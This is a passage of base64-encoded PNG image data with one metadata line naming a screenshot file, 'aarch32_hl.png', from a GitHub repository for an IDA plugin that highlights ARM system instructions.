j1ku3GC8HPPinI2TzbfcI+kGDMJYjjnC4TG2NhpFC0XGQJZzm38jAGAABTYuE0G+1UWu0kselepXerVZaVyAUzYa+1AnR+8UBAKBGF76dpBfNHUSAPy0c68n
ZceR480dGolQODu756d/SmzU9LGjnC7XVxu3pixekVd8eaGQzWItmTY5ITLsZNH5h//y9vKX/4IUfTtA0/SRs8UAMCYpjs/leMmlTLqPUh7s6828ZGJh7yKi
UH+czZKnxBF87mBEtGl1n6zbnF9abrbaZGIRRVMl1XWf/bydOa5nMNyoRAAg+TwAcJmtLKGAueidqy3a2pG3xmnuwgjS2l7RuOs9u64BADiKQFniDKDp9lM/
Ak1bWsoM1SdxFtd77IOA4QDAlvhwZP4AYOrlsMXgsugbd/3D3HQew3GX1agr3tF27OvBdwTjJl9i51Q62J7Enwzib7slAPCkrCuW41jVLR2WTrfR2OPtXgct
AiuFGylirUH8TLuXJ/cLvfQDrbzdTbIw+qyN+1ibT+8mIRAIBGIoeOwrLGr6Ak9qxa6NEJeBtIPwwJaIwh9dRDldFf9eTbvdv0mJdzr/8mrn432EId1gFO82
CZB+EAgE4pemNF89bgZJ4ASOkQRO4jhyzkD0B0ctBwzT5pf8YnbPLy/xTieBa+8z5vsxCwqXhUAgELcFyNhCXBeMILwnjzQ3tnWeKvqtSvwNMKE+ECkBgUAg
bmdIQPELEdeBdrsb1u91Gsw0Rf9WJSIQCAQCcau45LRF0sjaQlwfJgz6b1siAoFAIBDDCw00DTQAxlygI3QQCAQCgUAgbiHI2EIgEAgEAoG4hSAHeQTihnlk
5h+npM1nrlu09c98suQ3+ZgT05NnZGX8sOtAp97w1F1zCyuq1+w5dGc9gljAf/vJBzz/frNt75kLVf9TY1UsFCSFh+QWlfxvDgAE4jbhusZW+fZ1UcFBj/31
3c/Xb74qa837b92VMwUA3BTV2aXPPVP0t5Vfnq+qBgBvpaL18E7mNpqmu02m/PNl737xzeHTZ5Guf3nEAv6LK5Z4usPudDa1a46cLa5raffckxYbOW5EgpDP
a2zTbMs91anv/hUbLOJLFo9/JCMmm88R1rdX7Tj106myg0OvlsBJf1VIgDr0ZOkBNzUMAREutpRwi3kykTI+JK3PGyanzpubtUIqVFQ2nv9q53st2npPVoA6
dNnE30UHJjlc9sKq4z8d+K/BMig3tcyYCbNHLw9QhbrcrpK60+sOfdE8uNMYb5qo4AAOmxUXGtzY3sHnchIjQnp/1yZGhEzKGOGvVppt9pKLtbtPFBjMlmEZ
tL4qhc3h6D1Kbxqn01VQVgkA0cEBQj5vWNRCEsRdU7OTokIbWtp/2HlAbzKrZJI/PXR3S4f2ve/XMwdpZCXFTh6ZKhbwa5vb1u072qG73MU+SvnscaPC/H0c
LldZdd22o3kmq3XoEq/H7xfP9lEpqptaWjp1wzsAEAjE4MFpxneLhj7fsIZeJ59cxcWGprziEi6HvWjqxFM/rUqPj+2dW9vcUtPUzCLJqaMz93/1n6wRSUjX
vyJdRlOX0YjjeHiA3wNzcgK8VUx6VlLc3PGjxUKB1e4I9fd5aG6OSMD7tRopEcj+/sh3ORmLAaCurTLcL/a5xe/OH3P/0GtODMt47/Eflk383bBYWgBwqHD7
vze9vvXED33mzhp196OzXlFKvMw2Y0Jo+hv3r5SJlEyWSurztwc+T4saS9O0iCeZlDLvleUfEoMIdzctfdHzS/4e5hvT3FnncjtHxU7++6PfBntH3tIesdnt
ANCi6bQ7nADQ2K7xZE3JTHlk/owQX+/mjk6aoseOSHj+nkUSIX/oQh9dOPPJJXO8FMNzapDV4fh2+75vt+8b/BkGAzI+JSEjPur77fv81MrFU8YDwLzxowkc
33joOGP3TExPXjptgkwktNjsUUH+Ty+b59GMXCJ6dvmChPBgmqaFPO7opLgnFs8icHyIEvsht7AEACaPTBneAYBAIAaE8ZBn7Kub99n6+Ic1Wfc84ps9c8Pe
g3wu94u/vto7N2PpA+HTFyqypu4+dpLA8YcXzkF6/xX5dN3WD3/c+O7XP1U3teAYlhodAQAiAX9yRoqbcn+1eff7368/W35RyOfljEr/tRp5f87zKql3cU3+
U/9a8JevH31t1aNuyj0n6x4hTzzEmpkaOrvbfoGnkImUyyY+4XI7X//68Sc+nH2ocLtUqLh3yh+Y3Jz0xQKuqLDqxCPv5/zh3wutdkuYb0xc8ABfhBiG3z3p
dwDwr41/efXLBx//cPaOU2s6u9vadI239FmCfbwB4FxVDWOdF1dWM+k+SvmssZkUTf9n/bb/+3HjXz///lxVjVwiykqKH7pQPocDAF0G4237bgr189EZjOcv
1jW0ayICfcMDfBMjQ89V1VxsbAYAsVAwa+xIt9v98epNf1n57anz5WIBf152FlN2/IgEHodTVlP/6ier/vr5D3aHM9BbHRHoNxSJ/XOq5ILRYk2NjpBLRMM1
ABAIxI0yVJ8ti832+7ffmztxXFJURGpsdHPHFT997A7HrtyTOWNGhfj7Il3/6rhc7qqG5jB/X5lIBABJ4SEkSZyrrG5s7wAAHMcAIC4saNtRts3huDkRPF9V
yD2zr023dehqvtkMAGqp75IJjyaFjeSyeW26ph2nfjpctB0ABFxRZkw2APx0YKXT5QCAi82ln25+s/DicZPVAABcNm9x9iOj46ZIBLIWbcOOU6sPFW5nKv/o
9+t8FUE/H10VHZgU6hOjM3asOfjfvAuHACAnY/GD019gbosJSl73eh4AfLbtnQNntwBAauSYl5d90GXs3HHqp2npiyRCebuuaffp9fsKNvUvsR/GxE9jkezc
4t2VTecBgCAIABgZO/HLHf+02E04TgCA3WmjaEpv0jpcNh6Hb3faAODJea+PT5pRXJP/1vdPAUBW/JSnF76l0bc9v3Kp0+Vks7gA4HA6AICmqe/3frwz7yeb
wzrIfgnyVidEhOSXVnTo9IMsopJJBDxuTXOrrtsY5O3lpqiiyhomKzMhBsfx0ur6irpGAKBoekduXu7Z8xX1TcwNEYF+M7IygnzUTpe7tKZu29E8xnhKjYm4
f/bU1k5dcVVNemwUl8O+UNuwbt8Ri80OAH9/6iEBr+dAzKfumgsAepP5tU+/YVJeum9JgJfq4Okib4UsItDPandUN7ZsOXJS223oR+JgCPBSJUWGni6tbNcN
aj1XazDGhQWF+vn4qZRdRvOCiWPcbveWwyeY3PSYCBZJFJRV1ra0ed5WI6LC1u09YnU4MBwHAIfTRdG0wWxxOJ0cNsvudAHAvTMnZ8RFldc1/mfdVo+udN3G
d77+qX+JzDCbmJ6cERelkIiNZsvZ8qo9p87Y7A4AcLrchwvOzR43cmJ68ob9ub0fpP/u6GcAIBCIGwXvdU7iTQbcatfqjp09BwCjkhOuymKR5ORR6QBQUduA
dP2rQ+B4qJ8PADCOWYE+3gBQ1dACABlx0UkRoQazhcAJX5XipkW4zLauooprX4aKWgDAMOzFpe+NS5yuM3SU1p3xVQT+bu5ro2InA0C4XxxJsAyWruqWMk9t
ued3MZYWgROv3fvJ7FHLcQy/2Fzmpwx6Ys5ri8c/0lv0wnEP4hhxpjLXTxn87OJ3/JTBAKDRt52rPtXe1QQAOqPmXPWpc9WnOruvcAaSiZT3THnKYNGfrznt
rwpl1uYGI7FPogOTAaDo4ikAmJq2cGzCNJ1RQxKsUN9oADhwdrPDZR8ZO/HhmS/9fv4bEoH8XHVeRWMxAHy96wOtoSMxNGNsYg6Hxbtnyh8A4PPt79ocVjfl
Olt5DAB+P//1yanzWCSboimN/gYm6h5eMGPaqLR7Z0wefBFNV/dLH3/x2c87AOCDHzb8+T/fmK02JivMzwcASmsuO6K1duo8llZCePBTd80N9fdpatfYHY70
2KgX7lkoFl4+pdFHKR87IqGyoclstaXGRCyZMp5Jr2hounDpg+JiY/OF2oaqhqarWjUxPTnEz7uspt7lcidGhFAUNRiJAyhn3vRpo9JWzBqscg6eLuo2WZ5d
voDPZbd0dAZ4qY6cKdZ09Tg7hvr7AkBZTQMAjE2OT4+N1JvMBEEE+KgB4ERxmdPlSo4KWzJ1/IqZk0UCfnldY21zKwBs2HdUbzRFBwekxUayWax52aMBYM3e
w3aHs3+JALBsWvaccSOdTldpdR0ATM5MeWhuzuX3UWGJ3eEclRjrsWV7c73u6GcAIBCIweGxrOjh2Y3Y0qEBAF+VypOy/8tPXG53kI+3UiY1mMwffPsj0vqv
yINzc2gapCIBn8uxORzHz5UBAONHYjCb/dTKGWPSD+QXquXSxIhQseDmPW+c3cbWvcevO+5o+r9b3/KWBxwv2QsAWfFTn1745sxRS0+W7ZeLVACgM/TtFDIj
c2mEf3xta8Vfvn7M7rQmhWX+6Z5/LRh3//6zm7qMncw9J0sPfLjhVQDgc4UpEVkpEVnNnXVnKnPPVOaumPr0rFF355Ud+nr3B33Wv/nYt6sPfAoA45NmlNUX
DlJinygkagDQGdvDfGPvz3l2zcHPAtShYxKmMQ/YpKldueWtpxe+OTVtIQBoDR0fbfgTU9BiN/1369t/uufjFVOfiQpIVIjVR4t3nas+xeT+d9vbfK4oLjjl
0VmvLJv4xJ7TP285/r3dOdiZreLKmpEJ0UU3uAxE0TQzyQEAvZ24JSIBAHSbTNcW4bBZS6dmYxj27ba9Zy5UkQTxu8WzIwL9po1MXb//qKfaf/20qVmjDfRW
v7hicXxYMIZhNE1/vWUPh816/5lHAeCLTbs8ontjtFjf+259l8HIY7MzE6K7jKbBSBxAORdrRyfGDH7aRm80vfXVan+1sttsfvbuBSaLdffJM55cmVgIAHqj
MchbvXDSmO25eT5KeVpspFQoAIC2Tt2Puw7eP3vq2OR4pqpVW/YwBa0Ox+rdh363ePaCiWNC/X2kImF+aQVjffYvEcOw1JgIiqb/vXaL1W7HMWz+xDEe2xcA
rHb7sXOlk9KTx6Uk7Dp++tpe7rM7+hkACATiRsGHOq8FAABOlwsACOKyBxizqqiUSS/U1E148InKOjSz9Wvio5T7quR8LqdDp1+1ZbfOcNlZmM0il03Lrmpo
OVp4niQJuLTwcYuobrnQpmucOXLpfdOezYgZDwBKiTcAkAQLAAic6LPUuKTpALD79DrGvDhXnVfdcoHAyfjgyx5m+eU9+6SYPXpS4eX5OQFXDABWh/k6o9ex
/siXzPWRczs1+tZBSuwHDov3/JJ3z1Wf2nz8WzaLA5fWE4O9Ix+a8SJNU3kXDpltRoVY/cJd/2CRbKbUuepT+wo2SQSyqWkLu81d3+z+P0+FRkv337578oN1
f6xqKhXxpYvGP/TWQ1+K+NJBqn39/qPPf/j5gfzCYelEEscBAMf6GCdRwQFioaDLYGQiLLjcbkZobOjlAxw7u/TNGi0AtGm7AIDDZrFZPb/6+NyeqRebw9mn
6GOFJcz6oNXhOHymeJAS++fnA7nPf/j5vlNnbugTr7alLT02SioS7jpx2uFyXaUNNov10LycC7UN+/LOslik523lr1YumTKepumiyhqLzS4VCR+ZP50keob9
hdqG40WlIj5vbHK80WL9+UDuYCTSNF3X0o5j2GsP371kyriIIP9Nh46XXKzt3Z5Dpwvdbve4EQls8uof2P10BwKBGCL0pb/D86by91IDQO/tzaqx00YlJWz9
5H2RgF9WXYs0/uvy9lerQ/18luVM4LBJz+qD0WIFgLnjR7vc7p8P5NI0LREIAKDPGYVB0r/PFo/Df3bRO8nho3pnMQYWE/5AKfHGMJymqauKM7v5dIbLU0qd
3W1hvjESoeyyiEsOTBTlBgCCuDy2OWwOADhdfX9/64waxkvsRiX2id6kBYDHZr/qcNk/2fRXmqYVYjUAGMzdGIY/s+gtIU/87Z6Pdpz6SSZSvvvIN3HBqVPT
Fu449RNTfPPxb5kIXgUVR5gl1MtvWprKu3Ao78Kh+JC0Pyz4W5BX+LwxK77f+69ffjgZrTaRgC+XSq7NYoZQt8nSS70mABDxL0+XMi5KzBMxFzjW8zuNMQVo
mmbWB6/l2tAkg5F4KxAJ+FMyU9q0XVw2672nH6EoasOBo6fOlzPxL+7OmeBwu7/bcYCmaalICAAmqx3DsAfmTOVzORsPHjtUcE4i5L+wYklEoN/YEfGHCs4x
1e7NO5OVHAcA56tqrnonXk8iAHy1ZffCiWNSosPHjkgYOyKhXdf19da9zR2XR2+3yZJfWjEqMXZUUuyRM8W9q+2nOxAIxHAxDG8quUQ8ekQiAOSfL+2dvu1w
blF5pb+X+slli5Gif3Uu1DW06/QSoTA9tideQFO7BgB4HM5Pew7ZHA6RgMd4azVrOm9aitts0xdXXvsyVtUBwLwx9yWHj2rsqHn9m8eWvz32iQ8v71G92FwG
ADyOYEQvU0wi6Nn/323SAYBK6u3JYiauDOZBeTRjgAMASVzvp0Ufs7o3LbGqqQQAhDzxB+v+aLYZZSJlqE80ANS0XlBLfX0VQQBwquwAAHQZO/PKDgFAbNDl
3Yj3TH6KuchOnh3hH+dJTwjN8Ez7ldQWMMaZvzLkVxlL9S1tAJAaHe5JIQiCz+UAgNFsBgCpWIhdmneRCPgAYBzcIhSGYwCAYVif02YAfUSoGaLEm2bWmAwO
m3W6tHzW2JGnS8vrWtuXTs0WCfi1zW0AwONyv9q0y2q3S4T8QC8VADS2tSskYrVcBgCFFdUA0G2ynKuoBoDwgMu7EeeNH81cjEyICfb1GoxEACBw7Nvt+175
ZNW32/fVt3V4yWW9fbYY9ucX0TQ9MS0Zx5EthUD80uBD9I9nkeQHLz7N53Ir6xoYN/nevPnfVQDwysP3Dd5ZFXGLoGn6cME5ABifmsQsExRVVbspCidwDpuN
Y9jMMSMxDKttbjOab/5bytFtbNl97NqX5ngRADBO6/vPbL5QX+R0OcYmXv4+0BraC6tOAMAD059jbKwQn6iPfr/uucXvEjhxvGQfAORkLOFxBAAQHZgU6Z/g
plwltQWDaZXFbgSAIK8IAIgJSl447qEBi9y0xKPFu9yUiyBIPkdI4MSD01/AMLy07kyXsdNk7XZTbgCYmrYIw3CJQJ4YlgEAOmMHU3Z03JRRcZM6u9u+3fMR
gRO/n/cGm+QAgEQge27xO7+f/1cmhgVJsBj7rK1rsKEffJXyienJwxIHCwBOFJcBQKC3elJ6MgDgOL5kyrg/P7w8Ojigoq7JZLFKhYLM+CgmKzs1CQAu9PKm
7werrccF21etZLNY8yZkqWSS/osMUSLzILPHjWLMoEHio1KMTIwtr2vsMpgxDDt2rvR0WSVBEN5y6emyCjdFEQTO5XBwHF80eTyGYVUNzd0mi8VmY2bsxo5I
wDBMJOBHhwQAgN7Y4/2WEh0xIjq8y2DcePAYjuP3zpjMurTq149EPpfz4oq7UmMiLDZ7QVnlT7sPAYBcIrrKYO3QdRVX1cglopReVjICgbhVeFYQaQB6oGXE
N596/Jl7l3n+PXnu/LP/+JC5fmDe7MkjM9LjY33VSoPJvOLVN64Nr7fpwOGSqur4iLDn71v++n8+R8r/dSmtqdN0JatkktFJ8YcLivQG05GzxRPTkh+cM83h
dHHYLKfLtetEfu8iiswE1ahkfUll2/68oTegoqE4Izp7TtZyDIMAdejEEVdEX/tq53tvP/yVl8z/33/Y2KFv8VeF4BjeoW9xU+6tJ34YFTc5yCv8kz9sbNM1
hfhEYRi2Ofc7nXFQURbPVp2YlDIvLWrs58/vlAoVdqdt24kfHK7+Vkv7lzhn9D1BXhHMUqNMqHxq/l8BYOuJ7+vbL2r0rRtzv148/pHX7/uPzWHlcQR2p+3b
PR8BgNlm3Ji7avH4R+aPvW/GyLtYJBvH8C5j58bcrwFAIpA9NOMFAPh2z0f55YczYyZEByYtn/z7r3d/IBHIKcqdFT8lMya7Q98iEcgFXJHdad17euMgNf/Y
wllyiSgtJvKf360bej/WtbTvzzs7OTNl3oSsrOR4DpslFvBNVmtHl97qcGw4kHv/7Kl350wcNyJRwOPKJSKj2bLn5KDM4m6Tpbmj00+tfPbu+TQNHDbL7nBc
69Pdm/4lKqWSmWMyAEApFQPA2BEJ8WHBmq7unccvj/OH5ubIJaKoYP/3v1s/SA0smJAFAExMUZqmkyPD1HKZy+1u1+kNZsuekwUzsjL+sHSu3eHkctgOl2vj
wWMAYLHZd58smJGVMXVkSnZaIkkQOIYZTOY9p84AgIjPWzx5LAD8fPB4cVVNUmRYmL/P3PGjNhzI7V9ifFiwRMi/f/bUOeNGdRmMPioFABw5U0xd84G8L68w
KTJscmYKE1UfgUD8YgwQ+iE80D8zMc7zigkN9mSlxEZNHzvK6XJ9tXFryuIVecWl1xanafqtz74GgOfuu1slk/1mtXiHQNP0kbPFADAmKY5Z9Dl0umjnsfxu
k4XA8bqWtq+27G698kwPUag/zmbJU+IIPnfoDdiZt2bL8e8AYNmk34X5xv589OveuR36lj9+ft/Bwq1Wu9lHHtCsqfts27s/7Ps3ALjczje+eXx3/nqX2xXq
G92ma/pix9/XHvpskHILKo5uyv22y9jJ5wqZQFb9W1oDSkwITR+bmMOc1cPjCMYm5oxNzJGJenbjrj/85de7/q+zu4MkWGX1Z9/45om6tp7vtg1Hvvpk0xvV
LWU0TXcZNUfO7Xj1yweZ7Y2PzPqjiC89V30q78IhmqY/2/aO0+XIyVicEJrR0FH9/Mq795zeoDdpvWR+FOXOu3Do1S8fGvxxPeX1jQAw4CzR4Nly5OT3O/bX
tbRLRQKSIM6WV7333XpdtxEAzlyo+u+G7XWt7d5KOZfDPltx8f0fNvT2qeofploMwyw2267jpw/kFw1YpB+JQj43LTYyLTaSOasnzN8nLTYyJuQK3/nz1bUO
p/PcoHcjxoYERgcHnDxX1qrRtnXq1u49PDIhJshH/cPOA4zD1q7jpzfsz+0ymAiCuNjY/K/Vm5ouuU/tPlHw/Y799W0dNEV3m8x5JeXvf7+BOajjrmnZQj7v
Qm3DucpqmqZ/2n3I5XaPS0mICg7oX2J+acVnP++oqGvkcdkBPmq9ybxhf27vKFwe6lvbqxqa/VSK2JBAQCAQt5YrprawsKlzPTnVe7dAXAbSEMIDWyIKf3QR
5XRV/Hs17XYjhdyh+KuVL99/V35pxfc79iNt/C8TFRyQEh2+52QBYxkjEIhbQmm+cmwOQeAEhpE4TuAY2uKL6A+OWg4Yps0vQZbWnQubJO+amm2yWLccOYm0
8T9ORV0jE/cfgUD8kiBjC3FdMILwnjzS3NjWeaoIaeMO7kccM1qsmw4d7+dceQQCgUDcOsghBTNF/Kah3e6G9XudBjNNoVFyB2N3OD/fuAPpAYFAIH5R6MsX
aGYL0R/2zi6kBAQCgUAghgKJpiwQCAQCgUAgbgX0peN6kLmFQCAQCAQCMbx4oj8AOrcB0QcYwYq8/8vI+7/kyPyQNhAIBAKBGAp9+2yNSUnK/a4n4Lubojq0
uoN5Ba/9+7Pa5hYAWDR14vr/e1fT1aUem4M0+NvGbTPdRCmCI1QkzxEGpeAsnr2rUV+2z1h3xpMriRonj59O8iXW9uqOUz86DG2eLGFgijxxOkfm53ZYDVXH
tOe20+7Lp0ezpb6q9CU8dQTtdprqz3Se3eS2mwZTkCVUKEbMF4dm6isOd5z6kUnkqkMDZ7zacwdNu2wGa2t5Z+Fm5zVR6TGCFTTnL2yJT+U3D6MhgUAgEIgb
pb+ZLYfTeaTgbEHJBYlIuHxWzvEfvpCKRJ5ctI0c0ScEVxQ4+zVpzEQAsOsaucoQn+wn5IkzmFxZ3FSvUStIgdxtt/B9Y/ynv0jye8Kai8NH+078HVcR7DTr
CDZfnjjTZ/zjnmrZEp/Ama8I/OIplw0jCEnUeGXKgoELYpgqfUnw/LfEYSOhr7ONacptba+waWpxFlcUmhk44xWCc/U5nsoR89gSH9SzCAQCgbg5SPr6Llua
Ln32/U8AgLdSUbjhex+VclrWyLW79yGtIfpBnXk3S6iwtJQ1H/g37XZylSEBM1+Rxed0VxzBCJYyZT5NuRp3vWfrrPEefb84IkuVtqT16BcAIPBPAoCmfR9a
WsrYYu+gua8LA5P4vrGWljIAUGcuw1k8/YX9HfnrcIKlSJnfeeZnRmJ/BWmaqwyyaqoxjOR59XH+LmU3N+56DwAIrihozhskXyLwTzBUn/LcwFWHyuKmoG5F
IBAIxOChaaBpoKHn76BCP7R1as+Ulc8cl+WrViIN3nFwFIHK5LlcVRhGsGydtbri7ZbWcgBQpsyXJ87Ulx9iVtb43lH+OS+6LPqadS94yopC0iXRE1kCmbW9
SlOw3q4bIPY0weYLg0YAQOfZTcxCnq2ztj33a3NzsdtulsVNwwiWofqUTVMNAIDjACAMTsVP/kA5ra1H/mtuHs2YVg5Dm0PfylEEskVqC5SxhAq+b6zbatAU
/Aw0Rbnsmvw1HqH9FASAxt3vA00rU+b3aWx5cNuMts5aYWAywbt8gCBGsLzHPEjTFIYh70YEAoFA3CQDf4XwudxZ48dMzEyjafpQ/hmksjsLttQ3YPrLPO8o
a3uVTVPD84rwn/ocTx0xyOKq9CWU0+q2W/i+sQE5L7GEA1jbXFUIhpNuu9HWWetJNNScdNvNAMDzigAAS3MpAEijssWhmS6LHsNJrjIIAICmDVXHmSIEV8SW
+gCAo7sNALjqMABwGjt9sx+PuHdl8IK3GJOuh+sXZHIHfEyMYAn8E/i+MUDT1tZyT7pyxDy22FtbuAUNJAQCgUDcNP3NbPmpVXRJnuffP328sqi8EqnszkIY
mIyTnK7SvZrT6wCALfFRpS+yai4Osnhn4WZd8U6MYAXO+jNH5ieLn+ZxMO97PPFkAOAy9x0KlRTIAMBl0XGVIarMpZ2FmzlSP1FoJsmX9b4Nw3DvsQ9hBMva
XmFpKwcAlkAJAFx1KNCU22Zii719JzzZenhlb7/7PgsOCMETR97/pedfbdEWm7aeueapw2VxU8xNxd1VucrUhWgsIRAIBOLmwC8F3KKvDbhldzj2HD91tKBQ
09UFAAunTFTKpEhldxY2TQ0AyGKn+E97QRozmXJamw98MpjJHgZTXQEA0G5nd8VhAOB5RQ5QgCABADCin1swkuM74XFLc6nu/C6MZAH0rCdeysa8xz8m8It3
mXWtR77oSSNIAHDbTQ3b365e+xzjraVKX3JlvX0UHBCacpmbS61tlW67EQCEgSMIjggAMILllfWA22FtP/EdGkUIBAKBuEF6HdYDNH5dUwugU9+d89jT4+9/
PGDSnE0HDqfERn308rNIf3cWltby1sOfO81avk+0OnNp6OL3lKkL+9yX1yeUy8FcOM06AMBJdv/3u21GAGAJ5NCXk5Pb2g0AXqNX0BTVmvsV0DQzp9U7wIR3
1gOi4FSXWdu4532XRd/TDKcVAKxtVcy0k778INA0KVB4djJer+DAD2i3NO/7sHH3P2vWvmisO8ORB6pHLQMARdJstsQLKLdP9mN+k55mbg6Y8TJylkcgEAjE
IPHYV4Ny+7U7HKt37AGAKaMzke7uLDCCZWkpqf35lYZtb3aV7KEplzw+RxwyEgBoigIA7NIsFM4WXFuc4PYE+2DxmRVAff/iGFctnM0T+MVfroQnZi6smhoA
IDiClkMrKYeF5Eu4iiAAsGvrmBvkCTPE4aNdZl3jrn86DR2XR2BXMwBw5P6XzESMuaDdVP8Fb+AtQbmMtacAgO8TBwBsiTfTcp46gqsKYe7hqSNYIjUaVAgE
AoG4IcjBnNaD43jOmFEA0K7VIZXdWcgTpvPU4W25X9m09TZtPUukFgaNYImUAMBEBOUogwDDMQyTRI27trg4PEuTvwZncSXR2QBgbiruX5zLrDM3nRf4J6gz
lzZo69xWA0cR6D/tBUvLhbYjnxmrTyqSZmM4ibN4GIarM5cDhlvayl2WbgDgKoIVKfNoyt184BOnSdtTI4YBTVvbKt02E0ukksdN6yrdK4ufBgB2XSOz9tdP
wRvQFIYLfOMBwG0zAEDLoU89OWyJT/D8NwEABTVFIBAIxI1BA/TvIK+WywrWfYtjmL+3WiWT0TT97hffeHL9vdSnVq/qff+jb7xTXHnxN6mrOxUMF4eOZInV
IYv/Ye9swFhsjszfbTcZqk8AgLmxiE5fwlUEBc/7K06ySYHi2gpksZP5PjEkX0xwRE5jh77i8IAyO079GDjzVZZIHbLgXaepkyP1BQxzmTppmnKatLriHYrk
OQE5z1NOO87m0W6HJn8dU1CZugDDcMppUWfedakywlR/uqvsAE25Os/+7DX6PmXaop5lUJrSnF47YMEBW4tzhYGzX8MAI4UyxltLd24nGjgIBAKBGEb6M7ZY
JJkaG+2mqK5uw67cEx9+99O+k/meXA6bnZkY1/t+sVCAFHp7QVMNO96VJ04XBiRzlIFum8lYd0ZbuJmZ/nGatG1Hv1SkzGcJlXZ9S2fRVu+sB3A2z+NuZag6
7rIbxaEjMZxtrMvX5K+jHNYBZTpNnfXb3lSMmCPwS2CL1Y7u1q6y/d2VR5lcbdFWt90ii5tC8sTW9grN6Q12XUPPiJL5AwDO5vO8ojy1mRoKmYvuylygaFni
DJZQ7tC1dOSvtbZXDKZg/2AYzlUEAU257RZzc4m+bL+5uQQNHAQCgUAMI1jQpNmef+oPbIO4DKQURP/4TXkGZ3GuTe+uONI79joCgUAgEP+LlObLx0wjcJzA
MBzHCAwjAWikFsQNwVOH4SzetenmxvNIOQgEAoFAAEAv+woj/5fVgLg5Lv74FFICAoFAIBCDBJ34hkAgEAgEAnELIdEqIgKBQCAQCMRw4gkWTwOgmS0EAoFA
IBCIW8r/A8T+1T+j4APUAAAAAElFTkSuQmCC  image/png 804 245
https://github.com/gdelugre/ida-arm-system-
highlight/raw/master/img/aarch32\_hl.png aarch32\_hl.png false
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
